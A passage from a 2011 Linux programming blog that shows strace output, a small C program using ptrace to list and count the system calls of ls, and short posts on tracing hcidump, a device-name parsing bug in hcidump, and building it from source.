rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffb830]) = 0
write(2, "fstat(1, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb830, [0xb]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb838, [0xc]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb840, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb848, [0x3e800002190]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb850, [0x5]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb858, [0x8809]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb860, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb868, [0x400]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb870, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb878, [0x4d823c95]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb880, [0x8c10339]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb888, [0x4d823c95]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb890, [0x15ddf22e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb898, [0x4d823a29]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8a0, [0x3148fd36]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8a8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8b0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8b8, [0]) = 0
write(2, "{st_mode=S_IFCHR|0620, st_rdev=m"..., 58) = 58
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ff8000]) = 0
write(2, ") = 0x7ffff7ff8000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7ff8000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x33]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8000, [0x63617274732e736c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8008, [0x72742e736c202065]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8010, [0x7274732020656361]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff8018, [0x617274732e656361]) = 0
write(2, "write(1, \"ls.strace ls.trace s"..., 50) = 50
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x1]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x33]) = 0
write(2, ") = 51\n", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
write(2, "close(1", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff8000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
write(2, "munmap(0x7ffff7ff8000, 4096", 27) = 27
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 17) = 17
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x2]) = 0
write(2, "close(2", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xe7]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
write(2, "exit_group(0) "..., 44) = 44
ptrace(PTRACE_CONT, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=30692, si_status=0, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
exit_group(0) = ?
view raw strace.strace.c hosted with ❤ by GitHub

As we can see the strace use a lot of system calls, but the one of them (ptrace) appears a lot in the log. The ptrace provides a means to get information from the child process (see man ptrace).The following simple program uses the ptrace to trace system calls of ls program
int
main() {
// create a child process
int pid = fork();
// if error occurs
if (0 > pid) {
printf("Error during forking: %s\n", strerror(errno));
return 1;
}
// child process
if (0 == pid) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl("/bin/ls", "ls", NULL);
}
// parent process
int system_call_count = 0;
int status;
struct user_regs_struct regs;
wait(&status);
while(1407 == status) {
++system_call_count;
// get registers
if (0 != ptrace(PTRACE_GETREGS, pid, 0, &regs))
printf("Error during ptrace: %s\n", strerror(errno));
// syscall number is writen in rax register
printf("%s - syscall %lu\n", syscalls[regs.orig_rax], regs.orig_rax);
// lets the child to continue his work until next sys call or sys exit
if (0 != ptrace(PTRACE_SYSCALL, pid, 0, 0) != 0)
printf("Error during ptrace: %s\n", strerror(errno));
wait(&status);
}
// This not 100% true.
system_call_count /= 2;
printf("System call count: %d\n", system_call_count);
return 0;
}
view raw trace.c hosted with ❤ by GitHub



We also need to know the names of system calls by their syscall number. We can extract that information from the sources of strace. The file "strace-4.6/linux/x86_64/syscallent.h" contains the information that we need, we can parse it and get the list of system calls arranged by syscall number (see the instructions in the sources).
#include <stdio.h> // printf
#include <string.h> // strerror
#include <errno.h> // errno
#include <unistd.h> // execl
#include <sys/ptrace.h> // ptrace
#include <sys/user.h> // user_regs_struct
// get from strace sources
// cat strace-4.6/linux/x86_64/syscallent.h | sed -e 's/\(".*"\)/=\1/' | sed -e 's/^.*=//' | sed -e 's/"\(.*\)".*$/"\1",/'
//
char* syscalls[] = {
"read",
"write",
"open",
"close",
"stat",
"fstat",
"lstat",
"poll",
"lseek",
"mmap",
"mprotect",
"munmap",
"brk",
"rt_sigaction",
"rt_sigprocmask",
"rt_sigreturn",
"ioctl",
"pread",
"pwrite",
"readv",
"writev",
"access",
"pipe",
"select",
"sched_yield",
"mremap",
"msync",
"mincore",
"madvise",
"shmget",
"shmat",
"shmctl",
"dup",
"dup2",
"pause",
"nanosleep",
"getitimer",
"alarm",
"setitimer",
"getpid",
"sendfile",
"socket",
"connect",
"accept",
"sendto",
"recvfrom",
"sendmsg",
"recvmsg",
"shutdown",
"bind",
"listen",
"getsockname",
"getpeername",
"socketpair",
"setsockopt",
"getsockopt",
"clone",
"fork",
"vfork",
"execve",
"_exit",
"wait4",
"kill",
"uname",
"semget",
"semop",
"semctl",
"shmdt",
"msgget",
"msgsnd",
"msgrcv",
"msgctl",
"fcntl",
"flock",
"fsync",
"fdatasync",
"truncate",
"ftruncate",
"getdents",
"getcwd",
"chdir",
"fchdir",
"rename",
"mkdir",
"rmdir",
"creat",
"link",
"unlink",
"symlink",
"readlink",
"chmod",
"fchmod",
"chown",
"fchown",
"lchown",
"umask",
"gettimeofday",
"getrlimit",
"getrusage",
"sysinfo",
"times",
"ptrace",
"getuid",
"syslog",
"getgid",
"setuid",
"setgid",
"geteuid",
"getegid",
"setpgid",
"getppid",
"getpgrp",
"setsid",
"setreuid",
"setregid",
"getgroups",
"setgroups",
"setresuid",
"getresuid",
"setresgid",
"getresgid",
"getpgid",
"setfsuid",
"setfsgid",
"getsid",
"capget",
"capset",
"rt_sigpending",
"rt_sigtimedwait",
"rt_sigqueueinfo",
"rt_sigsuspend",
"sigaltstack",
"utime",
"mknod",
"uselib",
"personality",
"ustat",
"statfs",
"fstatfs",
"sysfs",
"getpriority",
"setpriority",
"sched_setparam",
"sched_getparam",
"sched_setscheduler",
"sched_getscheduler",
"sched_get_priority_max",
"sched_get_priority_min",
"sched_rr_get_interval",
"mlock",
"munlock",
"mlockall",
"munlockall",
"vhangup",
"modify_ldt",
"pivot_root",
"_sysctl",
"prctl",
"arch_prctl",
"adjtimex",
"setrlimit",
"chroot",
"sync",
"acct",
"settimeofday",
"mount",
"umount",
"swapon",
"swapoff",
"reboot",
"sethostname",
"setdomainname",
"iopl",
"ioperm",
"create_module",
"init_module",
"delete_module",
"get_kernel_syms",
"query_module",
"quotactl",
"nfsservctl",
"getpmsg",
"putpmsg",
"afs_syscall",
"tuxcall",
"security",
"gettid",
"readahead",
"setxattr",
"lsetxattr",
"fsetxattr",
"getxattr",
"lgetxattr",
"fgetxattr",
"listxattr",
"llistxattr",
"flistxattr",
"removexattr",
"lremovexattr",
"fremovexattr",
"tkill",
"time",
"futex",
"sched_setaffinity",
"sched_getaffinity",
"set_thread_area",
"io_setup",
"io_destroy",
"io_getevents",
"io_submit",
"io_cancel",
"get_thread_area",
"lookup_dcookie",
"epoll_create",
"epoll_ctl_old",
"epoll_wait_old",
"remap_file_pages",
"getdents64",
"set_tid_address",
"restart_syscall",
"semtimedop",
"fadvise64",
"timer_create",
"timer_settime",
"timer_gettime",
"timer_getoverrun",
"timer_delete",
"clock_settime",
"clock_gettime",
"clock_getres",
"clock_nanosleep",
"exit_group",
"epoll_wait",
"epoll_ctl",
"tgkill",
"utimes",
"vserver",
"mbind",
"set_mempolicy",
"get_mempolicy",
"mq_open",
"mq_unlink",
"mq_timedsend",
"mq_timedreceive",
"mq_notify",
"mq_getsetattr",
"kexec_load",
"waitid",
"add_key",
"request_key",
"keyctl",
"ioprio_set",
"ioprio_get",
"inotify_init",
"inotify_add_watch",
"inotify_rm_watch",
"migrate_pages",
"openat",
"mkdirat",
"mknodat",
"fchownat",
"futimesat",
"newfstatat",
"unlinkat",
"renameat",
"linkat",
"symlinkat",
"readlinkat",
"fchmodat",
"faccessat",
"pselect6",
"ppoll",
"unshare",
"set_robust_list",
"get_robust_list",
"splice",
"tee",
"sync_file_range",
"vmsplice",
"move_pages",
"utimensat",
"epoll_pwait",
"signalfd",
"timerfd_create",
"eventfd",
"fallocate",
"timerfd_settime",
"timerfd_gettime",
"accept4",
"signalfd4",
"eventfd2",
"epoll_create1",
"dup3",
"pipe2",
"inotify_init1",
"preadv",
"pwritev",
"rt_tgsigqueueinfo",
"perf_event_open",
"recvmmsg",
"fanotify_init",
"fanotify_mark",
"prlimit64"
};
int
main() {
// create a child process
int pid = fork();
// if error occurs
if (0 > pid) {
printf("Error during forking: %s\n", strerror(errno));
return 1;
}
// child process
if (0 == pid) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl("/bin/ls", "ls", NULL);
}
// parent process
int system_call_count = 0;
int status;
struct user_regs_struct regs;
wait(&status);
while(1407 == status) {
++system_call_count;
// get registers
if (0 != ptrace(PTRACE_GETREGS, pid, 0, &regs))
printf("Error during ptrace: %s\n", strerror(errno));
// syscall number is writen in rax register
printf("%s - syscall %lu\n", syscalls[regs.orig_rax], regs.orig_rax);
// lets the child to continue his work until next sys call or sys exit
if (0 != ptrace(PTRACE_SYSCALL, pid, 0, 0) != 0)
printf("Error during ptrace: %s\n", strerror(errno));
wait(&status);
}
// This not 100% true.
system_call_count /= 2;
printf("System call count: %d\n", system_call_count);
return 0;
}
view raw trace.c hosted with ❤ by GitHub

Wednesday, March 16, 2011

Strace -- tool for system call tracing

For tracing system calls of a program, there is a "strace" command in Linux. This program comes with the most of Linux distributions. If it is not present in your system, you can download it from http://sourceforge.net/projects/strace/, build and install.
Lets try run the hcidump and see which system calls it use:
    sudo strace -o output hcidump -i hci0
Do some bluetooth related things(search a device) and see the output file

As we can see, hcidump uses socket related system calls(socket, bind, recvmsg and etc...) for getting bluetooth data, ioctl system call(for controlling bluetooth device), write system call (guess why :-) ), poll system call (which used for waiting for a socket IO events).
There is "-e trace=" option, which trace only specified set of system calls, for example
    sudo strace -o output -e trace=socket,write,poll hcidump -i hci0
will trace only system calls socket, write and poll.

And at last there is a good syntax highlighter in the "vim" for strace's output
(In the case if vim doesn't automatically enable it -- :setf strace).

Sunday, March 6, 2011

Bug in hcidump

Try to run the following command:
  $ sudo hcidump -i aaa
Instead of giving an error that there is no device with a name "aaa", hcidump uses the "hci0" device. The first thing that comes to mind is maybe hcidump uses "hci0" device by default if the specified device not found, but when I try to run the following:
  $ sudo hcidump -i aaa123
It gives an error:
  Can't open device: No such device
So what is the reason of such behavior. To find out it, I review the argument parsing part of the source code (as hcidump is open source) and find out the following.
To download the source code of hcidump (version 1.42, used in Ubuntu 10.10) 
  $ git clone git://git.kernel.org/pub/scm/bluetooth/bluez-hcidump.git  # get the sources
  $ git checkout -b new 1.42                                    # get the version 1.42

The code of input arguments parsing is located in file "src/hcidump.c" starting at line 1002. The device name's parsing code is located between 1004 1010 lines:

//1004-1010 lines of src/hcidump.c
case 'i':
if (strcasecmp(optarg, "none") && strcasecmp(optarg, "system"))
device = atoi(optarg + 3);
else
device = HCI_DEV_NONE;
break;
view raw hcidump.c hosted with ❤ by GitHub

As you can see the reason of the unusual behavior is in the following line:
    device = atoi(optarg + 3);
which didn't check the correctness of input (work for "hci[0-9]" like names only).

Thursday, March 3, 2011

How to build the latest hcidump.

In the previous article the "hcidump" was used for dumping bluetooth protocol packets. The binary package of "hcidump" is exists for Ubuntu and other widespread Linux distribution, but what about other distributions. For them we need to compile and install it from sources. So the following instructions will be useful:

1)Download the source code from the official site or checkout sources from repository. We will choose the second one, because it contains the latest patches and changes (sometime new bugs :( also ). "hcidump" uses Git source control system, so the git package is needed (Ubuntu: sudo apt-get install git). To check-out the sources run the following
$git clone git://git.kernel.org/pub/scm/bluetooth/bluez-hcidump.git

2)Enter "bluez-hcidump" directory. Now you need to configure the sources and then build them. It uses GNU build system, so we need to follow standard steps.
GNU build system(source: Wikipedia).
Before compiling ensure that you have the latest "BlueZ" library installed.
Steps: 
$ aclocal                                     # Generate "aclocal.m4" file
$ autoheader                              # Generate "config.h.in"
$ autoconf                                  # Generate "configre" file
$ automake --add-missing          # Generate "Makefile.in" file and add missing files
$ ./configure                               # Configure
$ make                                        # Build hcidump
$ make install                             # Install

Now you have the latest hcidump tool.